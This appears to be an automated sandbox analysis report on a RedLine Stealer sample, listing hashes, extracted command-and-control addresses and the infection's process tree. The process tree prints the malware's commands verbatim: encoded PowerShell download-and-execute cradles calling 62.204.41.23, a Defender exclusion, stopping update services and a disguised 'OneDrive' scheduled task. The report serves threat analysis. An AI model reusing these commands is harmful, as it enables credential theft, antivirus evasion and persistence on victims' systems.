Analysis
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max time kernel
43s -
max time network
81s -
platform
windows10-2004_x64 -
resource
win10v2004-20230221-en -
resource tags
arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system -
submitted
11/05/2023, 17:08
Static task
static1
Behavioral task
behavioral1
Sample
139cc34636ab02bf773ab0145179cba6f33fda2252fc619d804591337837d1e7.exe
Resource
win10v2004-20230221-en
General
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Target
139cc34636ab02bf773ab0145179cba6f33fda2252fc619d804591337837d1e7.exe
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Size
104KB
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MD5
c3cffaf487d48cb29845ef2f916ecd69
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SHA1
d34904c39de3dd0d26c55562d39c118880b693e2
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SHA256
139cc34636ab02bf773ab0145179cba6f33fda2252fc619d804591337837d1e7
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SHA512
2b71177952e5fcd508e9980388044ec3a5961aafc3dd8ead8dfc9085157005bb1d0a45805f55dd1c806956ad7bf9bd723bf114d443271defb915720aec3b1b9c
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SSDEEP
3072:Tf5nj1wIvdSDMvNcNIObQsqrbsgntYQqh+E:TfZj3F1v4bObpntYQqh+
Malware Config
Extracted
http://62.204.41.23/r.png
Extracted
http://62.204.41.23/file.png
Extracted
http://62.204.41.23/o.png
Extracted
redline
[ PRO ]
185.161.248.16:26885
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auth_value
b4958da54d1cdd9d9b28330afda1cc3c
Signatures
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RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 4580 created 3108 4580 OneDrive.exe 38 -
Blocklisted process makes network request 3 IoCs
flow pid Process 16 4472 powershell.exe 17 932 powershell.exe 18 804 powershell.exe -
Downloads MZ/PE file
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Stops running service(s) 3 TTPs
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Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion OneDrive.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion OneDrive.exe -
Executes dropped EXE 1 IoCs
pid Process 4580 OneDrive.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 24 ipinfo.io -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 804 set thread context of 964 804 powershell.exe 93 PID 4472 set thread context of 4116 4472 powershell.exe 95 -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2508 sc.exe 3852 sc.exe 1240 sc.exe 1624 sc.exe 1344 sc.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 RegSvcs.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString RegSvcs.exe -
Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 932 powershell.exe 1344 powershell.exe 804 powershell.exe 4472 powershell.exe 4472 powershell.exe 932 powershell.exe 804 powershell.exe 1344 powershell.exe 4472 powershell.exe 4472 powershell.exe 4580 OneDrive.exe 4580 OneDrive.exe 1904 powershell.exe 1904 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 932 powershell.exe Token: SeDebugPrivilege 1344 powershell.exe Token: SeDebugPrivilege 804 powershell.exe Token: SeDebugPrivilege 4472 powershell.exe Token: SeDebugPrivilege 964 RegSvcs.exe Token: SeDebugPrivilege 1904 powershell.exe -
Suspicious use of WriteProcessMemory 29 IoCs
description pid Process procid_target PID 1492 wrote to memory of 1344 1492 139cc34636ab02bf773ab0145179cba6f33fda2252fc619d804591337837d1e7.exe 85 PID 1492 wrote to memory of 1344 1492 139cc34636ab02bf773ab0145179cba6f33fda2252fc619d804591337837d1e7.exe 85 PID 1492 wrote to memory of 804 1492 139cc34636ab02bf773ab0145179cba6f33fda2252fc619d804591337837d1e7.exe 88 PID 1492 wrote to memory of 804 1492 139cc34636ab02bf773ab0145179cba6f33fda2252fc619d804591337837d1e7.exe 88 PID 1492 wrote to memory of 932 1492 139cc34636ab02bf773ab0145179cba6f33fda2252fc619d804591337837d1e7.exe 87 PID 1492 wrote to memory of 932 1492 139cc34636ab02bf773ab0145179cba6f33fda2252fc619d804591337837d1e7.exe 87 PID 1492 wrote to memory of 4472 1492 139cc34636ab02bf773ab0145179cba6f33fda2252fc619d804591337837d1e7.exe 86 PID 1492 wrote to memory of 4472 1492 139cc34636ab02bf773ab0145179cba6f33fda2252fc619d804591337837d1e7.exe 86 PID 804 wrote to memory of 964 804 powershell.exe 93 PID 804 wrote to memory of 964 804 powershell.exe 93 PID 804 wrote to memory of 964 804 powershell.exe 93 PID 804 wrote to memory of 964 804 powershell.exe 93 PID 804 wrote to memory of 964 804 powershell.exe 93 PID 804 wrote to memory of 964 804 powershell.exe 93 PID 804 wrote to memory of 964 804 powershell.exe 93 PID 804 wrote to memory of 964 804 powershell.exe 93 PID 4472 wrote to memory of 2104 4472 powershell.exe 94 PID 4472 wrote to memory of 2104 4472 powershell.exe 94 PID 4472 wrote to memory of 2104 4472 powershell.exe 94 PID 4472 wrote to memory of 4116 4472 powershell.exe 95 PID 4472 wrote to memory of 4116 4472 powershell.exe 95 PID 4472 wrote to memory of 4116 4472 powershell.exe 95 PID 4472 wrote to memory of 4116 4472 powershell.exe 95 PID 4472 wrote to memory of 4116 4472 powershell.exe 95 PID 4472 wrote to memory of 4116 4472 powershell.exe 95 PID 4472 wrote to memory of 4116 4472 powershell.exe 95 PID 4472 wrote to memory of 4116 4472 powershell.exe 95 PID 932 wrote to memory of 4580 932 powershell.exe 100 PID 932 wrote to memory of 4580 932 powershell.exe 100
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3108
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C:\Users\Admin\AppData\Local\Temp\139cc34636ab02bf773ab0145179cba6f33fda2252fc619d804591337837d1e7.exe"C:\Users\Admin\AppData\Local\Temp\139cc34636ab02bf773ab0145179cba6f33fda2252fc619d804591337837d1e7.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1492 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -enc IABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwA3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1344
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -enc JABmADUAPQAnAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvACcAOwAgACQAZgAxAD0AJwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQAnADsAIAAkAGYAMwA9ACcAYQBkAFMAdAByAGkAbgBnACgAJwAnAGgAdAB0AHAAOgAvAC8ANgAyAC4AMgAwADQALgA0ADEALgAyADMALwByAC4AcABuAGcAJwAnACkAJwA7ACQARwBPAE8APQBJAGAARQBgAFgAIAAoACQAZgAxACwAJABmADUALAAkAGYAMwAgAC0ASgBvAGkAbgAgACcAJwApAHwASQBgAEUAYABYAA==3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4472 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"4⤵PID:2104
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"4⤵PID:4116
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -enc JABmADUAPQAnAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvACcAOwAgACQAZgAxAD0AJwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQAnADsAIAAkAGYAMwA9ACcAYQBkAFMAdAByAGkAbgBnACgAJwAnAGgAdAB0AHAAOgAvAC8ANgAyAC4AMgAwADQALgA0ADEALgAyADMALwBmAGkAbABlAC4AcABuAGcAJwAnACkAJwA7ACQARwBPAE8APQBJAGAARQBgAFgAIAAoACQAZgAxACwAJABmADUALAAkAGYAMwAgAC0ASgBvAGkAbgAgACcAJwApAHwASQBgAEUAYABYAA==3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:932 -
C:\Users\Admin\AppData\Roaming\OneDrive.exe"C:\Users\Admin\AppData\Roaming\OneDrive.exe"4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks BIOS information in registry
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4580
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -enc JABmADUAPQAnAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvACcAOwAgACQAZgAxAD0AJwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQAnADsAIAAkAGYAMwA9ACcAYQBkAFMAdAByAGkAbgBnACgAJwAnAGgAdAB0AHAAOgAvAC8ANgAyAC4AMgAwADQALgA0ADEALgAyADMALwBvAC4AcABuAGcAJwAnACkAJwA7ACQARwBPAE8APQBJAGAARQBgAFgAIAAoACQAZgAxACwAJABmADUALAAkAGYAMwAgAC0ASgBvAGkAbgAgACcAJwApAHwASQBgAEUAYABYAA==3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:804 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"4⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:964
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1904
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵PID:1536
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C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:2508
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:3852
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:1240
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:1624
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:1344
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵PID:4016
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵PID:1852
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵PID:4684
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵PID:4484
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵PID:2368
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:3564
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#yramilr#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'OneDrive' /tr '''C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'OneDrive' -RunLevel 'Highest' -Force; }2⤵PID:2132
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
1KB
MD5026d93a446c50e4ae9aa47a15d0e923f
SHA1f8832c1a57c63bc1b085b10f39b69254e27b2fb8
SHA256c06620ef42e09394b9fb9816937e9161cdb5740ad2c1a312f55483cbc2adf089
SHA512009c2cc902b3c560f77f882d4cd432e6893c51b8932889a4de8b119933e6bb6a9c91948dbb7ec392e120dfadca0211134625ffd6252b261fc84af8e17fbc2181
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Filesize
1KB
MD55fe0ce98e33b4a45e2a796ef1be2d16c
SHA11034ce2655e8cc47127e6c3f1bd7495fb5906cdd
SHA256984ad046f9526683451b296135ef4e10679359043e8513a3d7c035b0ade4686e
SHA512d7a4fcf2563b8be2b95b839ba41d5980936176c15f9b99cbe5bc7e1be5692cb45317c1a035bc153800f02003f588b0205ffcb671e1a7c59fca178f5a549f0783
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Filesize
1KB
MD55fe0ce98e33b4a45e2a796ef1be2d16c
SHA11034ce2655e8cc47127e6c3f1bd7495fb5906cdd
SHA256984ad046f9526683451b296135ef4e10679359043e8513a3d7c035b0ade4686e
SHA512d7a4fcf2563b8be2b95b839ba41d5980936176c15f9b99cbe5bc7e1be5692cb45317c1a035bc153800f02003f588b0205ffcb671e1a7c59fca178f5a549f0783
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Filesize
944B
MD5656fadf87d757f82c8c91d71dc6424ac
SHA1c1a5bfebd5371253884435e63ec17391b0aa472d
SHA256278b36ac559eebee77f6b6db38d4220cd751bf29ea2777e1baf433eb749c3d83
SHA5126ae75588c8655eeb4e2b7a1954dab1f9292dab02d119da9be38996230022719cb8dc970aa492002d00c96d3becfedb4b7923d249a48426565757306c5321ea1d
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
8.7MB
MD56fd0926a8817fede28372c309be1ec41
SHA1ff97bf8e665fda7a9da94a92f91689a436f0c9e9
SHA256b9d131247fa8488311afe5da12d699c984cbbf71ba7edf8b560d11c18ea9872c
SHA512ef8b78da117726775a4e5e0793aa36f5218c427329eaf96be195d0931416540302585046e4a68c77668be90ed0040d073844dbaf15974a717154bd8e1acb1c59
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Filesize
8.7MB
MD56fd0926a8817fede28372c309be1ec41
SHA1ff97bf8e665fda7a9da94a92f91689a436f0c9e9
SHA256b9d131247fa8488311afe5da12d699c984cbbf71ba7edf8b560d11c18ea9872c
SHA512ef8b78da117726775a4e5e0793aa36f5218c427329eaf96be195d0931416540302585046e4a68c77668be90ed0040d073844dbaf15974a717154bd8e1acb1c59